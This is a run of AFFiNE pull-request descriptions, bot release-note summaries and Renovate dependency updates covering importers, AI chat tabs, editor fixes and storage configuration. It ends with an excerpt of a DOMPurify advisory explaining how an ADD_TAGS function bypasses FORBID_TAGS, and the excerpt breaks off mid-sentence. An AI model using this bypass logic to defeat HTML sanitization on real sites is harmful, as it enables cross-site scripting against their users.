[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved CalDAV discovery error handling to gracefully fall back when
the server returns certain error statuses.
* **New Features**
* CalDAV account linking now returns the number of discovered calendars
associated with the account.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Summary
- Add Bear `.bear2bk` backup importer (TextBundle-based zip format)
- Enhance markdown zip import to preserve folder structure from zip
paths
- Add colored highlight (`<mark data-color="...">`) support to HTML
adapter
### Bear Import Details
Bear backups are zip archives of TextBundle directories. The importer:
- Parses Bear-specific markdown (highlights `==text==`, callouts `>
[!NOTE]`, inline tags `#tag`)
- Extracts creation/modification dates from `info.json` metadata
- Filters out trashed notes
- Converts Bear tags to AFFiNE tags (consolidated by root segment)
- Builds folder hierarchy from nested tag paths (e.g.,
`#work/projects/alpha`)
- Uses JSZip for lazy decompression to handle large backups without OOM
### Markdown Zip Folder Hierarchy
`importMarkdownZip` now returns `{ docIds, folderHierarchy }` instead of
just `docIds[]`, enabling the UI to recreate the zip's directory
structure as AFFiNE folders.
## Related Issues
- Implements the TextBundle-based import approach suggested in #14115 /
Discussion #14142
- Addresses folder structure preservation requested in #10003
- Partially addresses frontmatter metadata import from #11286
## Test Plan
- [ ] Import a Bear `.bear2bk` backup file via the import dialog
- [ ] Verify tags are created and assigned to documents
- [ ] Verify folder hierarchy matches Bear's nested tag structure
- [ ] Verify creation/modification dates are preserved
- [ ] Verify highlighted text and callouts render correctly
- [ ] Verify images and attachments are imported
- [ ] Import a markdown zip with nested folders, verify folder structure
is recreated
- [ ] Verify trashed Bear notes are excluded
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Bear (.bear2bk) backup import: bulk import notes, convert/dedupe tags,
create nested folders, and return imported doc IDs plus folder
hierarchy; UI import option and progress integrated.
* Markdown ZIP import now returns an optional folder hierarchy alongside
created doc IDs.
* **Bug Fixes / Improvements**
* Highlighting: mark elements validate color names, default safely, and
apply consistent background styling.
* **Chores**
* Added runtime dependency for ZIP handling.
* **Documentation**
* Added localization strings and i18n accessors for Bear import UI.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
# Closes#14189.
Fixes the three UX issues reported in the original bug report, plus one
small
adjacent polish on the right-sidebar toggle that was requested during
review.
Each concern in the issue is addressed end-to-end, with the same
treatment
applied to both places the AI chat panel lives: the **sidebar chat
panel**
(right panel on a doc page) and the **standalone `/chat` page**.
---
## 1. `+` button → persistent multi-session tabs (issue point 1)
**Before:** clicking `+` called `createFreshSession()` (standalone) or
`newSession()` (sidebar), both of which tore down the current chat
content
and replaced it in place. There was no way to keep two chats open at
once.
**After:** a browser/IDE-style tab strip lives above the chat content.
Each
open session gets its own tab with a close `×`; the active tab is
highlighted; `+` now adds a tab rather than replacing the chat.
### Details
- New Lit component `ai-chat-tabs`
([packages/frontend/core/src/blocksuite/ai/components/ai-chat-toolbar/ai-chat-tabs.ts](packages/frontend/core/src/blocksuite/ai/components/ai-chat-toolbar/ai-chat-tabs.ts)).
- Tab title is derived from `session.title` → first user message → `"New
chat"`.
- Horizontal scroll when tabs overflow, with a `wheel` handler that
converts
mouse wheel / trackpad vertical swipe into horizontal scroll (native
horizontal trackpad swipes also work natively via `overflow-x: auto`).
- Auto `scrollIntoView({ inline: 'nearest' })` on active tab change, so
a
newly created or newly selected tab slides into view instead of staying
hidden behind the toolbar.
- Close `×` removes the tab from the strip but leaves the session on the
server (matches the existing **Chat history** dropdown semantics — the
session is still reachable there). Closing the active tab switches to an
adjacent one; closing the last tab starts a fresh session.
- Persistence: open session IDs are saved per-workspace in
`localStorage`
under `ai-chat-open-tabs:{workspaceId}`. On mount, the React pages
hydrate
those IDs via `AIProvider.session.getSession` /
`CopilotClient.getSession` — no new backend or schema work.
- Wiring: identical effects on both variants
([chat.tsx
(sidebar)](packages/frontend/core/src/desktop/pages/workspace/detail-page/tabs/chat.tsx)
and
[chat/index.tsx
(standalone)](packages/frontend/core/src/desktop/pages/workspace/chat/index.tsx))
— hydrate → sync active session into tabs → persist.
- The tab strip sits on the same row as the existing toolbar icons
(pin / history / `+`), separated by `flex: 1` + `min-width: 0` so the
tabs scroll cleanly up to the toolbar boundary.
- The `ShadowlessElement` base class injects its static CSS globally,
and the
`:host` selector does not match in a React-rooted DOM — the component
uses
tag-selector CSS (`ai-chat-tabs { display: flex; … }`) instead.
## 2. Drag-and-drop attachments (issue point 2)
**Before:** the chat input accepted no DnD. Attaching anything required
the
`+` → file-picker flow.
**After:** the chat input accepts OS files via native HTML5 DnD and
AFFiNE
documents via the repo's existing pragmatic-drag-and-drop
infrastructure.
### Details
- Native handlers (`dragenter/over/leave/drop`) on
[ai-chat-input.ts](packages/frontend/core/src/blocksuite/ai/components/ai-chat-input/ai-chat-input.ts)
accept OS files: images go into the image preview grid, other files
become
attachment chips, with the same 50 MB per-file cap as the `+` picker.
- Internal AFFiNE document drags from the nav panel land as doc chips,
handled via `dropTargetForElements` from
`@atlaskit/pragmatic-drag-and-drop` (same library the rest of the app
already uses for internal DnD).
- A "Drop to attach" overlay appears during drag, reusing the existing
focused-border token (`--affine-v2-layer-insideBorder-primaryBorder`)
for
visual consistency with the focused state.
- The image/file routing logic that previously lived inline in
`add-popover.ts` was factored into a shared helper
[attachment-utils.ts](packages/frontend/core/src/blocksuite/ai/components/ai-chat-chips/attachment-utils.ts)
(`addFilesToChat`), so the `+` picker and the drop handler stay in
lockstep.
- Analytics: extended the `addEmbeddingDoc.control` union in
[events.ts](packages/frontend/track/src/events.ts) with `'dragDrop'` so
drag-originated attachments are distinguishable from button-initiated
ones in telemetry.
- `@atlaskit/pragmatic-drag-and-drop` is promoted from a transitive
dependency (via `@affine/component`) to a direct dependency of
`@affine/core` and `yarn.lock` is refreshed accordingly.
## 3. Chat-history tooltip + icon (issue point 3)
**Before:** hovering the chat-history button showed a tooltip whose
background did not invert for dark theme (`--affine-tooltip` is not
theme-aware), and the icon was `ArrowDownSmallIcon` — a chevron that
does
not convey "history."
**After:** the tooltip primitive itself is theme-aware (every tooltip in
the app benefits, not just the chat one), and the icon is the
semantically-clear `HistoryIcon`.
### Details
- [tooltip.ts](blocksuite/affine/components/src/tooltip/tooltip.ts) now
uses
`var(--affine-v2-tooltips-background, var(--affine-tooltip))` and
`var(--affine-v2-tooltips-foreground, var(--affine-white))`. The V2
tokens auto-invert with theme; the old vars remain as fallbacks so
components that override via the existing `tooltipStyle` escape hatch
continue to work.
- Triangle arrow colors updated to use the same V2 token.
-
[ai-chat-toolbar.ts](packages/frontend/core/src/blocksuite/ai/components/ai-chat-toolbar/ai-chat-toolbar.ts):
`ArrowDownSmallIcon` → `HistoryIcon`; added
`data-testid="ai-panel-chat-history"` for future e2e coverage.
## 4. Right-sidebar toggle: tooltips + open-state icon *(adjacent
polish)*
Not part of the original issue, but surfaced while testing the tab strip
—
neither of the two right-sidebar toggle buttons had hover affordance,
and
both used the same icon regardless of the sidebar's state.
- Added `tooltip="Open sidebar"` on the route-container button shown
when
the sidebar is hidden.
- Added `tooltip="Close sidebar"` on the sidebar-header button shown
when
the sidebar is expanded.
- The close button now renders a small inline `RightSidebarOpenIcon`
variant: same outline as `RightSidebarIcon`, but with the right panel
filled in the AFFiNE accent color to convey the open state. Icon shape
change is self-contained — no new icon asset added to
`@blocksuite/icons`.
---
## Commits
- `2adc0c7` — fix(ai-chat): theme-aware tooltip + semantic chat-history
icon *(2 files)*
- `bf26974` — feat(ai-chat): drag-and-drop file and doc attachments in
chat input *(7 files)*
- `fca29c8` — feat(ai-chat): persistent multi-session tab strip *(8
files)*
- `7d5dffe` — feat(workbench): tooltips and open-state icon for the
right-sidebar toggle *(2 files)*
Kept ordered smallest → largest blast radius so the history is easy to
bisect.
---
## Test plan
Verified locally against a fresh server stack (postgres / redis /
mailpit via
compose, migrations run) signed in as `dev@affine.pro`, in both `/chat`
and
the sidebar chat on a doc page, in light and dark themes:
- [x] Tooltip: hover the chat-history icon in dark mode → tooltip is
dark-on-light; toggle to light mode → tooltip is light-on-dark. Existing
tooltips on other surfaces (slash menu, edgeless, linked-doc) still
render correctly.
- [x] Icon: chat-history button renders the history glyph (clock), not a
chevron.
- [x] Drag-and-drop (OS file): drop a PDF / PNG / TXT onto the input →
overlay shows → chips/images appear; file > 50 MB → rejected silently
(same as `+` picker).
- [x] Drag-and-drop (internal doc): drag an AFFiNE doc from the nav
panel → becomes a doc chip.
- [x] Pin-picker, `+` picker, paste-image — all unchanged.
- [x] Tab strip: first chat auto-becomes a tab on first message; `+`
adds tab; click tab switches chat; `×` removes tab and switches to
adjacent; close last tab → new fresh tab spawns.
- [x] Reload browser → tab strip rehydrates from localStorage with the
same sessions.
- [x] Tab overflow: 12+ tabs → horizontal scroll via trackpad vertical
swipe, trackpad horizontal swipe, and mouse wheel; active tab
auto-scrolls into view on `+` click.
- [x] Right-sidebar: hover both toggle buttons → tooltips appear; open
the sidebar → close button shows the filled right-panel icon.
- [x] `yarn lint:ox` and lint-staged both clean on every commit.
Not verified locally (no local model key configured): the assistant
actually
streams a response. Drop/chip flow is independent of that path.
## Out of scope / follow-ups
- No new unit or Playwright tests — the fixes are visually verifiable
and
reuse existing reducer / state paths. Happy to add tests if reviewers
prefer.
- `@affine/native` is not required for the web dev stack; I only built
`@affine/server-native`. Irrelevant to the PR diff.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Multi-tab chat UI with a tabs component, open/close/switch actions,
and per-workspace persistence/restoration.
* Drag-and-drop attachments into chat input (files and docs).
* **UI/UX**
* Tooltip theming moved to v2 variables (includes arrow color).
* Sidebar toggle/close buttons now show tooltips.
* “Drop to attach” overlay and updated history icon.
* **Behavior**
* Unified attachment handling with 50MB validation and toast notices.
* **Analytics**
* Attachment events record drag-and-drop as a control method.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
#### PR Dependency Tree
* **PR #14897** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved reliability of shape and connector detection by forcing full
DOM renders during waits.
* Fixed race conditions in code-block theme loading and cleanup when
components unmount.
* Refined viewport element discovery to correctly handle
rotated/canvas-layer elements and avoid stale DOM removal.
* **Tests**
* Increased polling timeouts and retries to reduce flakiness.
* Disabled per-file parallelism and ensured test setup performs full
cleanup before starting; extended test timeout.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR fixes#14040
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Code blocks can be collapsed and expanded via a toolbar toggle
(visible when the document is editable).
* Collapsed code blocks show a limited preview (~8 lines) with a bottom
fade overlay and reduced padding.
* Toolbar button updates icon and tooltip to reflect collapsed/expanded
state.
* Collapse state is preserved on the block so its current
collapsed/expanded setting is retained.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Summary of Changes
Resolves#14715 and #14280.
When a user types into a **Select/Multi-Select** table cell to
create/choose a tag, that character is stashed on the cell container
(setTagDraft) instead of going through valueSetFromString. Opening the
tag picker reads it via consumeTagDraftFromTableCellHost.
### Verification
- Added unit test to check that single-character input doesn't
immediately call valueSetFromString.
https://github.com/user-attachments/assets/432b2693-52f9-4ab4-a694-8440aea007a3
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Tag selection popups now initialize with draft text from keypresses in
tag columns, improving user experience when editing tags.
* **Tests**
* Added comprehensive hotkey tests for single-select and multi-select
tag column behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Summary of Changes
Resolves#13340. Change align-items to stretch to full width to avoid
tag/label from overlapping with equation.
### Screenshot Verification
**Before**
<img width="661" height="256" alt="Screenshot 2026-04-19 at 5 58 03 PM"
src="https://github.com/user-attachments/assets/a99d0138-838f-4f91-bd63-cbd07710484c"
/>
**After**
<img width="614" height="275" alt="Screenshot 2026-04-19 at 5 58 16 PM"
src="https://github.com/user-attachments/assets/7e62ab09-f290-4b6e-9cd6-d20b8f990da3"
/>
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Style**
* Improved the vertical alignment of LaTeX block content to better
utilize container space.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
This PR fixes#14874
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
## Release Notes
* **Bug Fixes**
* Removed height limitation on Mermaid diagram previews in code blocks,
allowing larger diagrams to render at their full size without being
constrained by a fixed maximum height.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
#### PR Dependency Tree
* **PR #14896** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added configuration option to manage Google Calendar account linking
access. Administrators can now disable new account connections to
control calendar service integrations. When disabled, the Google
provider is hidden from available options and new linking attempts are
blocked, while existing accounts remain fully functional.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
fix#14894
#### PR Dependency Tree
* **PR #14895** 👈
This tree was auto-generated by
[Charcoal](https://github.com/danerwilliams/charcoal)
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Improved database initialization for self-hosted deployments with
automatic creation and repair of embedding tables and indexes, applied
only when related base tables and extensions are present.
* Updated pre-deploy process to run Prisma migrations, perform
embedding-table maintenance, and execute additional data migrations as
part of setup.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Fixes#14519
## Summary
On macOS, the Option key combined with a letter produces locale input
characters (e.g. Polish layout: Option+S → `ś`, Option+L → `ł`). The
AFFiNE command registry registers shortcuts like `Alt+KeyS` (used for
Page ↔ Edgeless mode switch) via `tinykeys`, which matches on
`event.code` (the physical key) — so it fires even when the user was
actually typing a non-ASCII character.
Reported in #14519: Polish users cannot type `ś` inside AFFiNE because
Option+S triggers the mode switch instead.
## Fix
In the command registry handler
([registry.ts](packages/frontend/core/src/commands/registry/registry.ts)),
skip the command when Alt is the only modifier **and** the key produced
a non-ASCII character — the user intends to type the character, not
invoke the shortcut.
Matches the existing handling in blocksuite's `keymap.ts` (added for the
same class of issue in #14059).
## Demo
https://github.com/user-attachments/assets/eb6d2e69-39bf-4236-a886-9e2bde425626
## Verified locally (macOS)
- Switched input source to Polish
- Typed `właśnie` in an AFFiNE doc — all characters including `ś`
(Option+S), `ł` (Option+L) now produce the correct output
- Previously Option+S would toggle edgeless mode
- US layout (Option+S → `ß`) and other locale chars (ą, ń, ę) also now
pass through correctly
- Regular Cmd-based shortcuts (Cmd+K, Cmd+S, etc.) unaffected because
the guard excludes `metaKey`
## Test plan
- [x] On macOS, add Polish input source (System Settings → Keyboard →
Input Sources → +)
- [x] Switch to Polish layout
- [x] In any AFFiNE doc, type Option+S → `ś` appears (not mode switch)
- [x] Confirm other shortcuts (Cmd+K, Cmd+Enter, etc.) still work
- [x] Confirm on US layout that Option+S produces `ß` (OS default)
without firing the mode switch
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Fixed keyboard event handling with Alt key and non-ASCII characters to
prevent unintended command execution.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Fixes#14717
## Summary
When a native `affine:table` block is placed in a note on the edgeless
canvas, dragging the column resize handle (or the column/row drag
handles) causes the canvas to pan instead of triggering the resize/drag,
because the edgeless `DragController` listens at the `pointerdown` level
— earlier than `SelectionController`'s existing `mousedown` handler.
## Fix
Two interception layers added to
`blocksuite/affine/blocks/table/src/selection-controller.ts`, matching
the working pattern in `affine:database`'s `database-header-column.ts`:
1. **DOM-level `pointerdown` `stopPropagation()`** in `dragListener()` —
prevents the edgeless `DragController` from capturing the event before
BlockSuite's event system sees it.
2. **`handleEvent('dragStart', ...)`** in `hostConnected()` — returns
`true` when the target is a resize/drag handle, so the BlockSuite event
dispatcher doesn't route to the edgeless tool controller.
Selectors guarded: `[data-width-adjust-column-id]`,
`[data-drag-column-id]`, `[data-drag-row-id]`.
Mobile and readonly states preserved (matching existing `dragListener()`
guards).
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Improved drag-and-drop interaction handling for table operations,
including column width adjustment and row/column dragging. Enhanced
event handling to prevent unintended drag actions and ensure proper
behavior.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
### Problem
●In edgeless mode, after clicking and moving in a connector's label
editor, if the label editor has empty content at the end of the editing,
the label editor for that connector can not be triggered again.
●The following video demonstrates this issue:
https://github.com/user-attachments/assets/8d300720-5ed8-4f9c-90fa-fbf059417ff8
### Root Cause
**Direct cause**
●The `labelOffset` property is **stashed** at drag-start, but is **not
properly popped** afterward. As a result, when
`mountConnectorLabelEditor()` is called the second time
(`packages/affine/gfx/connector/src/text/edgeless-connector-label-editor.ts`),
`connector.labelOffset` returns `undefined` instead of the default value
provided by the `@field` decorator.
**Why moving after clicking incorrectly triggers a drag-start**
●The root issue lies in the interaction between click and drag event
handling. Here's the actual flow:
1.`dispatcher.add('click', () => true)` is registered in
`EdgelessConnectorLabelEditor`.
2.On pointer-down, both `ClickController` and `DragController` receive
the event.
3.On pointer-up, `ClickController` fires a **synthetic click**. The
handler from step 1 returns `true`, triggering
`context.get('defaultState').event.stopPropagation()`.
4.This prevents the native pointer-up from bubbling to `DragController`.
However, a subsequent pointer-move still causes `DragController` to
**incorrectly synthesize a drag-start + drag-move**.
**Fundamental root cause**
●The line `context.get('defaultState').event.stopPropagation()` in
`UIEventDispatcher::run()` stops **both** synthetic and native event
bubbling. It should only stop synthetic event propagation.
●The synthetic event bubbling stopping is already properly handled by
the immediate `return` statement on the next line, because the runners
are prepared in strict order (current → parent → grandparent → ... →
global) by `UIEventDispatcher::_getEventScope()` and then **executed
sequentially** in `UIEventDispatcher::run()`.
### Fix
●Since I cannot rule out that other (current or future) event handlers
may rely on this native event bubbling stopping behavior, I chose not to
remove the `context.get('defaultState').event.stopPropagation()` line
completely. Instead, I added a new constant and now skip
`stopPropagation()` **only** for the following synthetic events:
```ts
const syntheticEventNames = new Set(['click', 'doubleClick', 'tripleClick']);
```
These currently represent all known synthetic click events triggered
from pointer-up.
### After
●The video below shows the behavior after this fix.
https://github.com/user-attachments/assets/65b8a3ce-0767-4d80-986b-8bc6081ddd4c
# Closes#14855.
## The bug
When an `affine:embed-synced-doc` is placed on an edgeless canvas and
resized which sets `model.props.scale` to a value ≠ 1 - the
block-selection frame rendered **inside** that embedded editor is drawn
offset from the actual block boundary. The reporter hit this in Safari,
but the root cause is platform-independent.

## Root cause
`affine-embed-edgeless-synced-doc-block` applies `transform:
scale(modelScale)` to its `.affine-embed-synced-doc-container` so the
embedded editor visually fits inside its edgeless xywh
([embed-edgeless-synced-doc-block.ts#L48-L58](https://github.com/toeverything/AFFiNE/blob/canary/blocksuite/affine/blocks/embed-doc/src/embed-synced-doc-block/embed-edgeless-synced-doc-block.ts#L48-L58)).
The inner `Viewport` exposes that outer scale as `viewScale =
boundingClientRect.width / offsetWidth`.
PR #14015 and PR #14074 already taught the surface canvas and
`GfxBlockComponent.getCSSTransform` to compensate by dividing by
`viewScale`. But several selection-related overlays that render inside
the same scaled container were **not** updated in those PRs. They
either:
- read `viewport.toViewCoord(x, y)` - which returns `(x - viewportX) *
zoom * viewScale` and drop the result into CSS `left` / `top` inside the
scaled container, or
- hand-build a `translate(translateX, translateY) scale(zoom)` transform
without `viewScale` compensation.
The outer CSS `scale(viewScale)` then re-applies the scale, leaving the
overlays one factor of `viewScale` away from their blocks. That's
exactly the misalignment in the screenshot - the rect's size looks right
but its position is offset.
## The fix
Mirror the pattern shipped in #14074 everywhere the inner overlays are
placed:
- position: `(model - viewportX) * zoom / viewScale`
- transform scale: `zoom / viewScale`
- translate: `translateX / viewScale, translateY / viewScale`
This keeps the overlays in the same reference frame as
`GfxBlockComponent.getCSSTransform` so they line up with the block
they're framing. When `viewScale === 1` (normal edgeless canvas, outside
any embed) every `/ viewScale` is a no-op and behaviour is unchanged.
## Why this is safe
- When `viewScale === 1` - every existing caller outside
`embed-edgeless-synced-doc` - the math reduces to the original
expression byte-for-byte.
- The fix strictly mirrors the invariant already adopted by
`GfxBlockComponent.getCSSTransform` in #14074. It's the same division by
`viewScale` applied in the same place.
- No public API, type, or DOM structure changed.
## Scope / known limitations
- The `Viewport._cachedBoundingClientRect` cache is only invalidated by
its own `ResizeObserver`
([viewport.ts#L500-L505](https://github.com/toeverything/AFFiNE/blob/canary/blocksuite/framework/std/src/gfx/viewport.ts#L500-L505)).
A CSS-transform change on an ancestor (e.g. the user panning/zooming the
outer edgeless canvas) does not fire it, so in theory `viewScale` can go
stale between outer-viewport updates. In practice this hasn't come up in
repro - the inner viewport's shell is observed and fires whenever layout
shifts. If it turns out to matter I'm happy to add a
`viewport.onResize()` refresh hook off the existing
`GfxViewportInitializer` in a follow-up.
- No integration test added - the existing
`blocksuite/integration-test/edgeless/` suite has no `embed-synced-doc`
harness. Adding one is a larger scope; can follow up if requested.
## Test plan
- [x] `yarn typecheck` - passes
- [x] `yarn lint:ox` - `0 warnings, 0 errors`
- [x] `yarn prettier --write` on the 5 touched files - no changes
- [ ] Manual: on canary, create an edgeless canvas, drop an
embed-synced-doc, resize with `Shift` held so `model.props.scale` ≠ 1,
select any block inside, and verify the blue selection frame sits flush
with the block's boundary (confirm on Safari, Chrome, Firefox).
- [ ] Regression check: on a normal edgeless canvas (no embed), verify
element selection, drag handle, and text/shape inline editors still
render correctly (these code paths hit `viewScale === 1` and should be
unchanged).
## Related PRs
- #14015 - fixed surface canvas at non-1 `viewScale`.
- #14074 - fixed `GfxBlockComponent.getCSSTransform` at non-1
`viewScale`. This PR completes that series by covering the selection
overlays.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Fixed positioning and scaling of inline text editors, selection
rectangles, drag handles, and remote cursors so overlays and editors
remain correctly aligned and sized when the viewport uses an additional
outer scale/transform during zooming and panning.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Summary
This PR fixes `cloudflare-r2` storage configuration so jurisdictional R2
endpoints (for example EU buckets) work correctly.
Closes#14847
## Problem
`cloudflare-r2` currently ignores `config.endpoint` and always uses:
`https://<accountId>.r2.cloudflarestorage.com`
That breaks uploads for jurisdictional buckets that require endpoints
like:
`https://<accountId>.eu.r2.cloudflarestorage.com`
## Changes
- Updated `R2StorageProvider` endpoint resolution:
- use `config.endpoint` when provided
- otherwise fall back to `https://${accountId}.r2.cloudflarestorage.com`
- Kept `forcePathStyle: true` behavior unchanged
- Updated validation to require `accountId` **or** `endpoint`
- Improved storage schema descriptions to mention jurisdiction endpoints
- Added focused unit tests for:
- default account endpoint behavior
- custom jurisdiction endpoint behavior
## Backward Compatibility
- Existing R2 configs that only provide `accountId` continue to work
exactly as before.
- New behavior only applies when a custom `config.endpoint` is
explicitly set.
## Tests
- Added: `packages/backend/server/src/base/storage/__tests__/r2.spec.ts`
- Verifies both default and custom endpoint selection paths.
_Disclaimer: parts of this PR were implemented with AI assistance._
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Cloudflare R2 config adds an optional "jurisdiction" (EU) option and
consistent endpoint derivation for S3-compatible providers.
* **Documentation**
* Storage configuration schemas clarified: S3 endpoint is
optional/derived from region; R2 endpoint removed from schema and
jurisdiction documented.
* **Tests**
* Added tests validating R2 endpoint selection for default,
EU-jurisdiction, undefined-jurisdiction, and missing-account scenarios.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>
## Summary
- add an Export Y.Doc debug menu item
- encode the active store spaceDoc with Y.encodeStateAsUpdate
- download the update as a binary ydoc-update file
## Test
- yarn workspace @blocksuite/playground build
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added Y.Doc export functionality to the debug menu, enabling users to
download the current space document state as a binary update file
through the "Test Operations" → "Export" menu.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
Fixes#14722
## Summary
`popMenu()` in
`blocksuite/affine/components/src/context-menu/menu-renderer.ts` uses
`autoPlacement` + `offset` in its default middleware, but no `shift()` —
so when `autoPlacement` picks a placement that would overflow the
viewport (e.g. database column menu opening near the top of a short
viewport), the menu stays overflowing and top items get clipped above
the viewport.
## Fix
Add `shift({ padding: 8 })` to the default middleware chain.
This matches the behavior of the sibling helper `createPopup()` in the
same file, which already includes `shift()` in its defaults.
## Reproducing (as reported in #14722)
Viewport ~879×461 (Chrome, macOS). Create a database block near the top
of the viewport → click a column name → menu opens upward and the top
items ("Rename", "Filter") get clipped above the viewport.
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Bug Fixes**
* Enhanced context menu positioning on desktop to provide better
alignment and spacing adjustments near screen boundaries.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
## Summary
Split generated-file validation in the `typecheck` workflow so i18n
outputs and BS docs outputs are checked separately.
This fixes a misleading CI failure message: previously, CI could fail
due to i18n-generated changes like
`packages/frontend/i18n/src/i18n.gen.ts`, but only suggested running
`yarn typecheck && yarn affine bs-docs build`, which does not regenerate
those files.
## Changes
- validate i18n-generated changes immediately after `yarn affine
@affine/i18n build`
- keep ignoring `packages/frontend/i18n/src/i18n-completenesses.json` in
CI as before
- leave `yarn typecheck` as a separate step
- make the BS docs step only check for changes introduced by `yarn
affine bs-docs build`
## Result
CI now gives the correct remediation command depending on which
generated files are out of date:
- i18n issues: `yarn affine @affine/i18n build`
- docs/typecheck issues: `yarn typecheck && yarn affine bs-docs build`
## Testing
- verified the updated workflow YAML parses successfully
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **Chores**
* Enhanced build validation for internationalization code generation to
ensure generated changes are properly committed before proceeding. The
validation now occurs immediately after code generation runs, providing
faster feedback during the build process.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
- Allow users to select text and copy it as Markdown via the context
menu
- Add "Copy as Markdown" under Export menu to copy entire document to
clipboard
Fixes#12983
<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit
* **New Features**
* Added "Copy as Markdown" to the toolbar clipboard More menu for
selected content.
* Added "Copy as Markdown" to the page export menu to copy entire pages
as Markdown.
* **Behavior**
* Export flow now returns success/failure so the UI shows a dedicated
success or error notification for clipboard exports.
* **Localization**
* Added strings for "Copy as Markdown" and "Copied as Markdown".
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
---------
Co-authored-by: Whitewater <me@waterwater.moe>
Co-authored-by: lawvs <18554747+lawvs@users.noreply.github.com>
This PR contains the following updates:
| Package | Update | Change |
|---|---|---|
| [node](https://nodejs.org)
([source](https://redirect.github.com/nodejs/node)) | patch | `22.22.1`
→ `22.22.2` |
---
### Release Notes
<details>
<summary>nodejs/node (node)</summary>
###
[`v22.22.2`](https://redirect.github.com/nodejs/node/compare/v22.22.1...v22.22.2)
[Compare
Source](https://redirect.github.com/nodejs/node/compare/v22.22.1...v22.22.2)
</details>
---
### Configuration
📅 **Schedule**: (UTC)
- Branch creation
- At any time (no schedule defined)
- Automerge
- At any time (no schedule defined)
🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xMjMuOCIsInVwZGF0ZWRJblZlciI6IjQzLjEyMy44IiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
This PR contains the following updates:
| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [dompurify](https://redirect.github.com/cure53/DOMPurify) | [`3.3.3` →
`3.4.0`](https://renovatebot.com/diffs/npm/dompurify/3.3.3/3.4.0) |

|

|
### GitHub Vulnerability Alerts
####
[GHSA-39q2-94rc-95cp](https://redirect.github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp)
## Summary
In `src/purify.ts:1117-1123`, `ADD_TAGS` as a function (via
`EXTRA_ELEMENT_HANDLING.tagCheck`) bypasses `FORBID_TAGS` due to
short-circuit evaluation.
The condition:
```
!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
```
When `tagCheck(tagName)` returns `true`, the entire condition is `false`
and the element is kept — `FORBID_TAGS[tagName]` is never evaluated.
## Inconsistency
This contradicts the attribute-side pattern at line 1214 where
`FORBID_ATTR` explicitly wins first:
```
if (FORBID_ATTR[lcName]) { continue; }
```
For tags, FORBID should also take precedence over ADD.
## Impact
Applications using both `ADD_TAGS` as a function and `FORBID_TAGS`
